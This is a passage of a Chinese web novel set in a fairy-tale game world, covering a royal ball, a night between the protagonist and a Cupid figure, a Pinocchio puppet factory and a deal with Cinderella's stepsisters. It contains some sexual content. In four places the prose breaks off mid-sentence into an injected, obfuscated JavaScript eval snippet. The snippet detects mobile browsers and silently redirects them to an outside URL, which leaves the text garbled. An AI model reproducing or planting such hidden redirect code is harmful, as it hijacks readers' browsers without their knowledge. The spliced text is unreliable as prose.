国王抬手,示意卫兵将地上的女孩一起拖下去,被泽菲尔叫住。 他鞠了躬,语气发沉:“王,我能否请教您几个问题?” 国王的眉头在听到他发问时舒展了些,“泽菲尔,怎么了?” “我国的法律律令有提到,女子除非因抢劫、杀.人等重大罪过应受牢狱之灾外,其余情形不得随意将女子投入大牢。” “泽菲尔,我知道你在为王国考虑,但这类情况较为特殊,且存在高危险性,必须先隔离。” “若是王国外来者,是否都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989798|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要在王国内购买房产、或是地契?” “是的。泽菲尔,你跑偏了,今晚本就有外因扰乱聚会,你不该说这些。” “那丧偶期限内结婚,会受到什么惩罚?” 国王的权杖往地上狠狠一砸! 响声在空旷华丽的大殿内回响,在场众人皆是一颤。 国王压着怒火,似乎每个字都在努力地往喉咙外挤,“伯爵大人,请你注意言词。” “泽菲尔,存在即意义。”白皇后突然出声,并不气恼,“没有绝对的正义与公平。” 不然就不用法官了。 柯乐等着她接着这句话,然而她却始终不再说,她话里的语气并没有对绝对权势的自豪,而是充斥着哀愁与无奈。 “好了,今晚就到此为止了。”国王转身时的背影坚决不容忤逆,“雪天路滑,各位回去的路上小心点。” 贵族们纷纷离去,柯乐的脚步犹豫片刻,手中握紧了那把钥匙——他是留还是走? “柯乐。”安布洛斯将他拉到角落,“你确定你想回去?你那两位继姐的裙子炸得和炮竹一样响,你敢回去吗?” 柯乐咬了咬嘴唇。 安布洛斯说得有道理,如果他回去,那等待他的会是继母的一顿毒打,何必去做这个m? 安布洛斯看着他,嘴角挂着似有似无的笑,似乎笃定了他会答应甚至求助。 “收留我一晚,以后我再也不找阿尔卑斯山的麻烦,并且在信上写八百字美言,拜托天使送到宙斯身边。” 随便啦,又不会掉块肉,要脸皮干什么。 “乐乐,你不走吗?”杨鸣岐带着泽菲尔一起过来,“马上就……” “杨鸣岐,这是别人家事。”泽菲尔将他的话头截了。 泽菲尔这话……怎么好像在哪里听过? 杨鸣岐小声地“哦”了一声,“乐乐,那我先回去,格林庄园里没有别人,我在那里自在。” “你也一起?”柯乐对着泽菲尔说,“你温柔点。” 泽菲尔面无表情地对安布洛斯说:“你也是。” “咳咳。”泽菲尔这话太有歧义,很容易就把柯乐带偏,那天用透视眼看到的画面猝不及防闪现,他呛到自己口水,“这里不大安全,你们路上小心。” * 安布洛斯把柯乐带到了王子的寝殿。 黑丝绸大床、硕大的圆形浴缸、齐全的下午茶套装…… 柯乐瞪大双眼,“哥们,你有这条件,你住城墙根那小破楼?我严重怀疑你有受虐倾向。” 安布洛斯从衣柜里拿出两套浴袍,随意往床上丢去。 “住在那里方便我监督你,以防你做出什么不光彩的、扰乱游戏秩序的事情。” 柯乐下意识顶嘴:“谁不是呢。” 安布洛斯挑了挑眉,不可置否,“今晚你必须和我谁在一张床上,哪里都不准去。不用想着去看那个骚扰泽菲尔的……” 柯乐踮起脚尖,直接捂住了他的嘴,“丘比特,天庭有没有人反馈过,你说话真的很难听。” 37.【45%】 柯乐独自面对安布洛斯时总会冷场,不知道要说什么。 他觉得裙子在外面浪了一晚有些脏,自觉地没往柔软的床上摔。 但又不想去坐硬邦邦的椅子,因此折中压在床沿一块小地方,双手撑着床,荡秋千似的甩腿。 安布洛斯也没说话,开始收拾起了偌大的房间。 明明是安布洛斯说要盯着他的,但却不像个贵族,倒像个仆人,也不能这么说,他更像一个居家的丈夫…… 咳咳。 这种恶心的想法必须摒弃。 安布洛斯狐疑地停下手中的工作,回头看他一眼。 他默认这是给他愚蠢的想法递台阶的暗号,于是将身体往前送了一寸,“安布洛斯,泽菲尔的能力是什么?” “他是太阳神。”安布洛斯开始擦桌,“他可以洞悉谎言。国王是一个伪善的人,他看中了远洋而来的白皇后,那时候上一任王后刚死——谁知道是不是自然死亡的,你以为他真的在乎格林家?那只是他清除外族的……” 【距离十二点还有三十分钟。】 天呐,他还得留点时间去找白皇后! 柯乐开始规划如何绕开安布洛斯去找白皇后。 白皇后究竟给他的钥匙是哪里的?等等,她刚刚好像说在书阁待了很长时间,或许这是一种提示。 柯乐脱口而出:“安布洛斯,你要不要先去洗澡?” 安布洛斯的手腕一颤。 “我不是这个意思,我是说,你洗完我才能洗。” 安布洛斯转身盯了他一会,“你们天庭有没有人说过,你的表达能力很有问题。” 柯乐眼睑肌肉抽动。 这纯纯是报复啊! 他直接起身,把浴袍塞进安布洛斯怀里,把他推进浴室,“你赶紧的,我等你。” 砰。 浴室的门被他用力关上。 他坐在床沿,对着紧闭的浴室门望眼欲穿。 浴室里传来若隐若现的水声,他的身体热意翻涌——这是从安布洛斯身体传来的共感。 他朝浴室内喊了一句:“安布洛斯,洗澡水太烫会把人熏晕,对心脏不好!” 无人回应。 他又等了一小会,确保里面的人已经不在乎他的存在了。 他小心翼翼将高跟鞋脱下,踮着脚尖出门,避开巡逻的卫兵,在王宫内逛了有一会才找到那扇不大显眼的书阁门。 果然,钥匙就是配这个门锁的,柯乐非常顺滑地打开门。 昏黄的煤油灯下,白皇后正坐在藤摇椅上看书。 美貌带来的是中西结合的奇妙感觉,就像有人把琵琶弹成吉他,却莫名地和谐。 柯乐鞠躬,“皇后。” “这把摇椅,来自神秘的东方,和你一样。”白皇后将书合起,眼睛在光线昏暗的环境下看起来就像全白,美丽而诡异,“预言书里说,有一个神秘的异世界来宾,她会带领她的支持者,杀死恶龙,然后来找我。” “你成功了吗?爱丽丝。” 这白皇后还真是信赖预言书啊,直接撂担子跑路了? 柯乐微笑,“成功了。” 白皇后轻柔地笑,“亲爱的,你一定在想,我为什么丢下自己的王国就跑了……看你的表情,我知道我猜对了。我想知道,我的姐姐红皇后,她过得怎么样?” 想到当初该死的大头King,柯乐果断收起笑容。 他摘取了无关紧要的信息,“他发布了招聘信息,应该自己招了不少人。” 白皇后眉眼舒展,“那就好。她总是那样,看起来雷厉风行手段狠厉,但实际上多么孤独,而且她的宫殿里没什么有用的人——那些扑克士兵,那么薄,面积又大,风一吹都要倒下。” 柯乐发愣,突然忘记自己的目的是什么,这是他想表达的吗? “我想问问,您是怎么来到基纳王国的?”柯乐开门见山,“这对剧情……对世界的发展至关重要。” “是一位传教士,和我说基纳王国王宫的书阁有有治疗大头的药物配方,要我和他交换一样至宝,换取来基纳王国的机会……我作为一个外地人,只能寻求皇族的庇佑。” 又是传教士。 这位传教士的目的是什么,扰乱童话剧情,能获得什么好处? “您和他,交换了什么?” “也是眼睛……我的眼睛一天比一天浑浊,变成你现在看到的样子。”白皇后将书放下,走到书架边,随手从盒子里拿出一个木提线玩偶,“但是我还是没能找到配方。看到格林家的小女儿,我想,我应该是被骗了。” 一道沙哑的声音骤然响起,尾音还带着铁片生锈摩擦发出的咯吱声,“皇后,您太善良了。抱抱。” 她无奈地苦笑,“我找不到当初的传送点,也回不去了。如果你需要我的帮助,你可以随时提。” “暂时不用,谢谢皇后美意。”柯乐的目光落到白皇后手中的木偶上,“刚刚是牠发出的声音吗?” “是的,牠很旧、很老了……”白皇后捏了捏木偶头上小小的、尖尖的红帽,将牠递给柯乐,“伯特的工厂更新了一代又一代的陪伴木偶,但我还是最喜欢牠,牠的灵魂和别的木偶不一样。” 柯乐仔细端详这个木偶。 牠的嘴做工并不是很精良,眼角的漆两条竖线连接牠的嘴角和下巴,这个简单的机关因为生锈,也显得有些笨拙。 咯吱—— “你是觉得我丑陋吗?” 柯乐这回听得真切,这道声音的来源似乎是木偶嘴里的弹簧和铁片。 木偶“咬”住了柯乐轻扒牠嘴缝的食指,然后松开。 “这位先生,我没有扁桃体。” 说丑陋,也不能算丑陋,可以看出制作者的用心。 只是柯乐对这种玩偶木偶的都有恐怖谷效应,本能觉得有些抗拒。 柯乐将木偶提起来,翻看背面,没有发现什么异常,“皇后,牠叫什么名字?” “牠呀……”白皇后温柔地笑笑,“我叫他,匹诺曹。” 什么?匹诺曹??? 还真就是匹诺曹本曹? 柯乐摸了摸牠的鼻子,没有发现要长长的迹象啊。 “牠是不是说了谎话,鼻子就会变长?” 白皇后思忖片刻,“我记得伯特确实有这么说过,可能牠被教得很好,从来没有说过谎。” 还有这回事?匹诺曹不是个撒谎精吗? “我是被改良过的匹诺曹……”匹诺曹转了转头,一卡一卡地摘下帽子,露出里面残缺的头发。 哎呦,这怎么还是个地中海匹诺曹? “和我同一个工厂生产出来的都叫匹诺曹,我是匹诺曹D123,D列生产线第123号。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995650|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 等等等等……好烦,又要长脑子了。 怎么还有工厂批发匹诺曹的? “让你见笑了。”白皇后接过匹诺曹那顶小帽,自嘲道,“我是个起名废物。我还是喜欢叫牠匹诺曹,我也习惯将和他一样的同类叫做‘安抚木偶’,孩子和大人都适合的安抚木偶。” 就在他将这个匹诺曹工厂的轮廓在脑海中勾勒时,他的袖口一动,皮肤针刺感让他下意识伸手去挠。 “哇呜——” 厄洛斯从他的袖口滚了出来,噗地掉在地上滚了一圈。 柯乐慌忙怜惜地将牠从地上捧起,呼呼吹牠独角边的破皮,“都叫你不要总是拿角蹭我,对不起对不起。” 厄洛斯似乎刚刚睡醒,一只眼睁着,另一只眼要眯不眯,S形飞到柯乐肩头。 厄洛斯长脖一伸,打了个醉嗝。 “嗯?”柯乐抓起它贴着鼻子闻了闻,“兄弟你什么时候喝的酒?” 厄洛斯翅膀一扇,骨刺把他的虎口割了道小口,然后重新站上他肩头,居高临下地…… 呼—— 吐出一口猛火。 匹诺曹似乎被他传染了霉运,稀疏的头发一下就着了,隔了几米一看就好像一根燃烧的火柴…… 嗯?火柴? 白皇后见状,慌忙用手摔打匹诺曹头上的火。 火灭了之后,匹诺曹的头变得光秃秃的。 牠惆怅地叹了一口气。 白皇后也随着叹气,抚摸牠的头,将帽子给牠戴了回去,“差点就要让你也变成火柴了。” “也?”柯乐敏锐地捕捉到关键词,“是很多的匹诺曹变成了火柴?” “废弃的匹诺曹安抚木偶会被送到回收站,然后再切割加工成火柴。”白皇后美丽的双目低垂,白又长的睫毛将她的情绪盖住,“这是更新换代的结果,但我不想让这个我流离时的唯一的陪伴者被做成火柴。” 柯乐咬紧嘴唇,将下唇咬得充血发红。 这木偶的更新,和AI智能的更新一样,又快又残酷。 这何尝不是一场适者生存的游戏? 或许……安布洛斯和他形成的阵营,他们的出发点其实都是“保护”。 那是否能选一个折中的方式? 柯乐郑重道:“皇后,请问您可以介绍一下伯特先生给我们认识吗?我想,我已经有一套雏形的解决方案了。” 白皇后手指摩挲着匹诺曹的帽檐,“当然,我把这个匹诺曹放在你这里保管。伯特先生认识牠,自然会给你合理范围内的帮助。” 【获得匹诺曹X1,已放入背包。】 【温馨提醒:距离十二点还有五分钟。】 系统的声音猝不及防响起,杨鸣岐也在系统内小声提醒:“乐乐,如果你还在王宫内游荡,请赶紧回到安全的地方,以防暴露身份。” 柯乐几乎是拔腿就跑,毕竟他不知道十二点他要变成人.妖还是乞丐。 嘭—— 他光着脚跑得飞快,原路返回房间,将门反锁,才敢大声喘气。 然而,在他稍微冷静后,强烈的注视感让他的心一下提到嗓子眼。 细碎的嘎吱声在冷寂的房间里显得极其突兀,更何况这响动正来源于他身后。 “你去哪里了,柯乐。” 安布洛斯阴沉的声音朝他跳得飞快的心上压来。 38.【55%】 落地窗大敞着,风把窗帘吹得飘起,让异世界的月光透进房间,照得树影连同两道交叠的影子在柯乐面前的墙上摇晃。 安布洛斯的手揉捏着柯乐的肩膀,又往下揉捏他的蝴蝶骨。 “柯乐,你是不是忘了我们现在的感觉是互通的?你被厄洛斯的角刺伤,我有感觉;你心慌,我自然也能感觉得到……告诉我,你是不是去偷偷卖火柴了?” 原来安布洛斯搞这一死出就为了质问他是不是去谈单子了?这该死的胜负欲! 柯乐左眼的上眼皮跳了跳,刚一回头准备回击,就被握住腰带着旋转——白纱裙荡起一个弧度,墙上光影迅速变幻,他被毋庸置疑的力道直接甩到床上。 安布洛斯的长腿跨了上来,金发散下,垂在柯乐的颈侧,让他感到一阵痒意,紧接着热意从皮肤深处渗出,也从安布洛斯身上传来。 燥热感相互交融。 “乐乐,你已经回到安全的地方了吧?” 杨鸣岐的声音让他的意识短暂回笼,柯乐张了张嘴想回答,突然响起系统互通这事先不能让安布洛斯知道,就又想自动闭嘴。 然而这一举动给了安布洛斯乘虚而入的机会。 这个洋人一点都不含蓄,倾身衔住他的唇暴力地啃吻。 好浓的酒味,他今晚应该是喝了不少。 杨鸣岐在系统扣扣敲了两声,就像早期的Q.Q,“乐乐?” 柯乐:“唔……到了。” “到了就好,我先关闭系统啦,睡觉。” 杨鸣岐话音刚落,他那头就断了声,像被人硬生生掐断。 直播间终于结束,柯乐大松了一口气,回神时却见安布洛斯停止了他的暴.行,退开一定的距离,上下打量他,欲言又止。 柯乐没好气地说:“干嘛?” 安布洛斯的绿眸在夜色下晦暗不明,“你这么快……就到了?” 反应过来的柯乐用力推开他,“靠,你要不要听听你在说什么?” “柯乐,你让我在房间里等你,自己却跑出去找别人。”安布洛斯摁住扑腾的柯乐,“王子和灰姑娘,晚上应该在一起。” 铛铛铛—— 悠扬的钟声回荡在王宫内,柯乐的心跳漏了一拍,带着面前的人也随着愣了一瞬。 【尊敬的柯乐先生,您的体验卡已结束,现回收限时装备。】 【小可为先生播报今日攻略进度。】 【柯乐先生,您的对家安布洛斯先生认为您存在欺诈行为,因此对你的好感度有所下降,目前的攻略进度为3……】 两条播报同时响起,柯乐的身上一凉,他非常清楚地感知安布洛斯眼神的变化。 他慌忙抬手,看到自己光溜溜的手臂迎着光华。 天杀的系统,收回装备至少给他换回原来的破烂衣服啊,全.裸是怎么回事? 好社死啊啊啊啊啊啊!!! 他想死鱼一样躺在床上一动不动,也不敢抬腿去踢压在身上的人 ——无论他现在做什么,都像极了欲拒还迎的调.情。 【3……系统修复中……3……4……5】 【修复完成。】 【目前的攻略进度为55%。】 【由于数据统计出错,统计员考核分数-1。】 【以表歉意,小可赠送您抽卡机会X1。】 【恭喜柯乐先生,突破攻略进度一半[撒花、放鞭炮]。】 系统的通报让他更加心如死灰,数据的阶段性上升更加印证了安布洛斯的兴奋。 西方丘比特的眸中闪着光,低着头审视着他,然后……朝他举起了旗。 “你你你你你!~” 他的锁骨处一阵刺痛,安布洛斯捉住趴在他锁骨处,被寒风冻醒的小龙,把他朝床底扔去。 没轻没重的,动作粗鲁,小龙的翅膀骨刺划破了他锁骨处薄薄的皮肤。 小龙睡眼惺忪:?? “厄洛斯!”柯乐就要下床去捡龙,“你为什么扔我的龙?!” 空气中细碎的灰尘浮动,安布洛斯低沉的声音自上方响起:“你叫牠什么?” 完了。 柯乐:“……” 被直指老祖宗大名的安布洛斯轻笑一声,“天气变凉了,但是你的体温在升高,你的心跳在加快,你的神志开始涣散。” 安布洛斯动作稍显粗.暴地抚摸着他,语气蛮横,理直气壮,“但今天不是进入的好时机,这里什么都没有,我不想引起天堂和天庭的纠纷。” 柯乐抬手挡住眼睛,然而那直勾勾的目光就悬在他上方,盯得他发虚,“你们西方的都这么直白吗?” 温热的触感从下方传来,柯乐瞬间不住颤抖,对着安布洛斯直骂娘。 “柯乐,一起。”安布洛斯完美继承了维纳斯的美貌,说出的话也惯会蛊惑人心,“你不是看过的吗……那晚在店里,你看到过的,就是那样……” 什么?安布洛斯知道他用透视眼看他?!!! 安布洛斯是怎么知道的? 柯乐无暇顾及,一滴汗珠落在他的额头,带起一片濡湿。 柯乐的睫毛扫过自己的掌心,他从指缝内窥探到安布洛斯的表情。 他脱了力:“闭嘴……” 一大清早,柯乐在系统背包里挑了很久的衣服,然后非常无奈地换了唯一能见人的旗袍,临出门前往床上看了一眼。 安布洛斯侧着身,阳光洒在他的脸上,为他白皙的脸镀上一层光,他仿佛能够看到安布洛斯脸上细小的绒毛。 昨晚太荒唐了,他们不是对家吗?对家能做那种事吗?还是他们西方神就是这么开放…… 也是,海王、宙斯……哪个不是看上了就穷追不舍的。 柯乐小心翼翼关上门。 就在门关上的一瞬间,床上的人睁开双眼,绿眸清明透亮。 “提上裤子,翻脸不认人。” * 柯乐的大腿内侧有些疼,旗袍又有点紧,他的银币都放在店里了,身上没有半块铜板。 他在白雪中孤零零地走,过路马车看他穿着奇特,都不敢上前搭话。 他看着呼出的气凝结成霜,不由生出了回到王宫的念头,然而一辆纯白的马车吭哧停在他面前,掐断了他的想法。 车夫还未停稳,杨鸣岐就从车上跳下,捂着他的手,“乐乐!你怎么这副模样?安布洛斯他把你丢出来了?!这狗东西!我立马去投诉他!” “上来吧。”清冷的声音从马车内传出. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002687|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柯乐愣了一瞬,再看杨鸣岐时的眼神有些躲闪。 “泽菲尔没有恶意的。”杨鸣岐拉着他往车上赶,“冷死了,这该死的西方丘比特!早知道昨晚我就把你一起带出来的……” “我自己想的。”柯乐抿唇,自认确实是自己心底有疙瘩,“我……” “你们昨晚……”杨鸣岐抛出的问题和他的话同时落地。 杨鸣岐想来他们肯定没有那么愉快,安慰道:“没事,先上来。” 马车上,柯乐旁边坐着一对小情侣,总觉得自己像十万伏特的电灯泡。 心里又有些忐忑不安,共感好像在昨晚过后就消失了。 不知道安布洛斯醒来后会不会找他。 “泽菲尔,你在王宫下,是吧。”杨鸣岐刻意说得有些大声,柯乐抿唇,“鸣岐,不用这样。” 杨鸣岐立刻接话,“本来就是安……” 泽菲尔冷飕飕的眼神一扫,杨鸣岐又不吱声了。 他知道杨鸣岐肯定是想谴责安布洛斯,让他心里好受些,可人家安布洛斯还是泽菲尔他好兄弟。 马车缓缓停下,马儿吭哧喘着粗气。 泽菲尔拄着长木拐下车,人刚走出没几步呢,杨鸣岐就凑过来,“是安布洛斯让我们顺便来接你的。” 柯乐有些怔松。 嗯?安布洛斯不是还睡着吗? “然后他还说……他昨晚强迫你了,他向你道歉。”杨鸣岐拳头紧握,“这太像渣男说的话了,我当时立马就急了,但是被泽菲尔拦住,我想着还是要和你沟通清楚,再做定夺。刚刚泽菲尔在,我知道你不好说,现在你就一句话,是不是他把你强了?” 柯乐无声笑笑,“你这回说得倒挺流利。” 安布洛斯有强迫他吗……当时他其实完全能挣脱的,但他好像一点都没争取。 他只是觉得有点不确定,也不大甘心。 东方讲究名头,他和安布洛斯无名无分,他对这位西方丘比特的感情判断基本上靠系统的数据。 甚至攻略度都还只是过半,就发生这样亲密的事情。 “没有,他没有对不起我。”柯乐眉眼低垂,“给我点时间琢磨一下我们的关系……我们去一趟伯特工厂吧。” 柯乐绕开这个话题,和杨鸣岐说了与白皇后的谈话,从背包内拿出了匹诺曹。 匹诺曹的嘴一动就咯吱响,似乎比昨晚还要锈。 “那是爸爸。”匹诺曹的手关节一点点移动,然后趴上了马车的窗沿,“我很久、很久没有回来了。” 爸爸? 柯乐拨开帘子,带着一丝木头味道的风吹了进来,柯乐见到了高耸如城堡的工厂。 工厂的铁门外站着一个手持木偶娃娃的中年男人,长着一点胡子,眉眼轮廓也没有正常欧美人那样深邃。 “伯特先生是印第安人。”杨鸣岐感慨道,“在这个时代,印第安人能够立足,说明能力是真的强到一定地步。” 柯乐揣起匹诺曹,朝杨鸣岐眼神示意,“他注意到我们了,我们按兵不动,不知道他是好是……” 他的话停住了。 从工厂大门内,墙边走出一个熟悉的人,正朝他们的马车望来。 他们早上刚刚分别。 39.【55%】 安布洛斯朝他们的马车望了一眼,但也仅仅一眼,就坐了另一辆马车离开。 柯乐还犹豫着要不要同伯特先生攀谈,但对方却先他一步走上前来。 伯特的瞳孔是灰色的,但却不是像白皇后和格林家小女儿一样的无神,反倒是透露出商人独有的精光。 “尊敬的先生们,欢迎光临伯特工厂。伯特工厂致力于创造高价值玩偶,无论是布玩偶安娜贝尔,还是木玩偶匹诺曹,总有其中一款你喜欢。” 柯乐定睛一看,这声音可不是伯特发出来的,而是他手中那个做工精良的木玩偶。 面子还是得先给,然后再谈生意。 柯乐忙和杨鸣岐一同下马车,然后一个劲地夸伯特和他的玩偶。 “伯特先生,久仰大名。您的木偶做得已经出神入化,就好像一个真正的孩子。”柯乐赞赏道。 伯特被他俩你一言我一语夸得舒心,带着他们进工厂参观。 工厂有两条主要链条,产业生产线在工厂内错综复杂,制作不同规格型号的零配饰,然后组装成布或木玩偶,但到最后都会汇聚在两大漩涡大盘里。 柯乐趴在护栏边看工厂的流水线制作出一批不重样的木偶,想到这里的每一个木偶都会流向每家每户,不由感慨顺带发问:“伯特先生,您的玩偶更新得很快,那旧的怎么处理?” 伯特:“他们一般会将那些旧的、不要的放到回收站,然后我们会有专人去切割。” “爸爸。”柯乐手中的匹诺曹突然开口,声音像磨刀时的粗粝沙哑,“白皇后托我和您说,谢谢您。然后也麻烦您尽可能配合这两位。” 伯特见到这锈迹斑斑的匹诺曹时发愣盯了牠一会,然后不大确定地试探:“D123?” “您好爸爸。”匹诺曹低头看了看正在自我延伸预言系统的新款匹诺曹,“我还是在王宫,还是由王后持有。” “这是厂里的第一批安抚木偶,还是一个残次品——不出意外的话,我记得牠的头发参差不齐,像狗啃了一样。”伯特感到意外,“白皇后没有送你到回收站炼炉,切割做成火柴吗?” 伯特后知后觉自己的话说出来有点冒犯,几番道歉。 匹诺曹的下巴嘎吱响,“爸爸,虽然很旧了,但是我不想被做成火柴。我宁愿就这样锈掉,扔在无人在意的杂物堆。” 机器嗡嗡作响,柯乐提高音量,对伯特说:“就不能不做成火柴吗?” 伯特重重叹道:“本来是没有回收站的,但很多人都不希望自己家里的匹诺曹堆成山。产业更迭,顾客的需求也会随着时代的改变而改变,久而久之,才有了回收站的出现。” “回收站是不是一直将火柴卖给一个小女孩?”柯乐拿手比划,“大概这么高。” “是的,她经常到回收站拿火柴……”伯特的表情变得有些忧心,“不过上次她拿了一批火柴出了问题,差点死.人,火柴更加滞销了,现在我们都在控制回收站的再切割。” 杨鸣岐借这个话头接下去,“既然在控制,那或许也是能控制一下盲目更新的批发机制。” 柯乐附和:“是的,或许我们可以改成定制,减少滞销和销毁率。” “可定制,我们只是一个工厂,无法获取顾客的意向。”伯特有些惆怅,“而且顾客也不一定就敢公布自己喜欢什么样的安抚木偶。” “没事,我们都可以帮你解决,但我们有个条件。”柯乐眨眨眼。 “什么条件?”伯特半信半疑。 杨鸣岐半倚着栏杆,“匹诺曹到这个聪明程度,已经是有自己的思维了,回收站只能挑实在破旧得不像话、丧失自我思考能力的匹诺曹进行回收。” 果然是多年室友,这默契还是不容置疑的。 柯乐倍感欣慰,顺走两个看起来比较独特的匹诺曹,“另一码事,我想购买这两个。” 伯特拖长音哦了一声,“您要送给伴侣?” “不是。”柯乐迅速否定,“我想带回家……给我的两位姐姐。” “啊?”杨鸣岐瞪大双眼,“你、你那两、两位继姐??” * 柯乐也没想到自己会再次回到德曼尼夫妇的家。 辛德瑞拉本来是一个拥有着幸福家庭的女孩,但由于母亲死亡、父亲再娶,继母和两位继姐对她厌恶,经常欺负她。 童话故事里就是这样写的——两位继姐凶恶、一切利益为先。 直到柯乐在阁楼上,从小小的矮窗边往下看时,见到两位继姐正在扯一只蓝色羽毛小鸟的翅膀。 他刚想下楼阻止,却见德里泽拉用镊子从小鸟翅膀的缝里,拔出一只蛆虫。 “欧天呐,这鸟差点就废了,德里泽拉你这手可太恶心了,还不快去洗洗?”塔西娅将鸟捧起,嫌弃地对德利泽拉说,“要是虫子的汁液溅到我的裙摆,就叫这噗噗咬你一口!” “噗噗?你管这东西叫噗噗?那可太卑贱了。”德里泽拉不屑道,“我得去买一个五彩的鸟笼,才能配上它。” “你要是被母亲看到你就死了!”塔西娅把鸟移开不让她碰,“鸟的事情我们谁都不准说。” …… 柯乐走到长了杂草的大花园边,如今偌大的院落,花有些枯萎、枝叶颓败。 是德曼尼夫人逼迫辛德瑞拉在先,可柯乐替代了真正的辛德瑞拉的位置,做出来的裙子让两位继姐出尽洋相。 一时间,她们成了贵族间的笑柄,贵族们以与德曼尼夫妇交往为耻。 德里泽拉穿着单薄的睡裙,在秋千上抬头看着灰色鸟笼里的蓝色小鸟。 她的双腿一蹬,秋千嘎吱响,今天没什么阳光,天空有些灰暗。 柯乐视野所见,倒真像日式恐怖片里的场景。 德里泽拉迅速捕捉到了柯乐的身影,微怔片刻,话语尖酸:“这不是辛德瑞拉大小姐吗?挺久不见了,是靠到那棵大树了?” 柯乐走过去,将一个安抚木偶递给了她。 “你的姐姐呢?”他问。 德里泽拉握着安抚木偶的手苍白无力,嘴唇也颤抖着,“怎么,想看姐姐们一起出丑?告诉你辛德瑞拉,不可能!” 她没什么气力,说起这些话没了当初的气势。 柯乐指指她手中的安抚木偶,“伯特工厂的最新一批,本来我是已经和伯特先生说,以后必须要私人定制的。但怎奈我一眼就看中了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006715|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个,你们应该会喜欢。” 德里泽拉神色一滞,手指一动,将木偶翻了个面,背对着她,“听说了,不就是个会说话的木偶……基纳王国的贵族都喜欢买这个回去陪小孩。怎么,羞辱我?” “这款长相可爱,我曾经路过你房间的时候见到一只巨型的泰迪熊,这个的手里也抱着泰迪熊。”柯乐对她的讽刺不为所动,“牠可以和你互动,帮你思考问题……德里泽拉,你想有自己的事业吗?” “自己的事业?”德里泽拉嗤笑,“基洛王国里的女性,一生能够平安度过,找一个门当户对的男人,就已经能开心到死掉,辛德瑞拉,你真是个怪人。” “但你和塔西娅经常躲在房间里设计衣服。”柯乐抬头望了一眼爬上藤蔓的窗户,一个身影迅速隐匿进昏暗的房间,“其实你们知道那衣服肯定有崩坏的风险,是吧?走吧,去找塔西娅一起谈谈。” 德里泽拉看起来不情不愿地跟在柯乐身后,看着她的裙摆,层层叠叠地好像绽开的花瓣,突然出声。 “辛德瑞拉,你好像换了一个人。” 柯乐的脚步顿住。 他没有回应身后的继姐,抬手推开旋转楼梯口边虚掩着的门。 塔西娅倚在栏杆边,抽了一口雪茄,烟雾熏红了她的眼睛,她干涩地说:“德里泽拉,你们达成了共识?” 柯乐把属于塔西娅的安抚木偶递到她手边,她没有接,于是他将木偶弯折了腰放在桌子上。 他将一份卷轴似的东西平铺在桌上。 “这是王宫的通行令。”柯乐将顶上的纸拿起,“底下这张是德曼先生拟稿的合同,如果你们愿意,他会收购你们可回收利用的火柴,然后和回收站达成三角利益关系。至于仓库,我这里有一位小女孩可以推荐,她对火柴很是熟悉……贵族的销售渠道,还得你们负责打开。” “塔西娅……”德里泽拉的指尖触碰到钢笔,又缩了回来,看着塔西娅,“要不我们签了?” “火柴可以去完成可燃烧画作,或许可以在贵族里风靡。”塔西娅拿起钢笔,刷刷地签了名,“辛德瑞拉,欠你一个人情。” 【恭喜柯乐先生完成支线任务[姐姐们的礼服],获得预测点9点。】 【恭喜柯乐先生完成主线任务[卖火柴的小女孩],您和杨鸣岐先生以新颖的方式赢得此次对抗赛,灵方获胜,各获得一次塔罗抽卡机会。】 【您现有塔罗抽卡机会X2,可随时兑现。】 【灵方获得[胜利之火]标识,将长期展示于阿尔卑斯展厅和天庭展厅。】 系统能够直接预测接下来的情况?怎么可以判断安布洛斯和泽菲尔不会出手干预,比如撕毁合同、挑拨离间? 难道…… 门被轻扣,仆人走了进来。 “两位小姐,王子邀请你们到王宫一叙,要为你们颁发环保大使的奖章,并且说祝愿你们的工作开展顺利。” 靠!果然!安布洛斯根本就是直接推了他一把。 早上和伯特先生的谈判非常顺利,安布洛斯早晨又是比他先到的伯特工厂,他们究竟谈了什么? 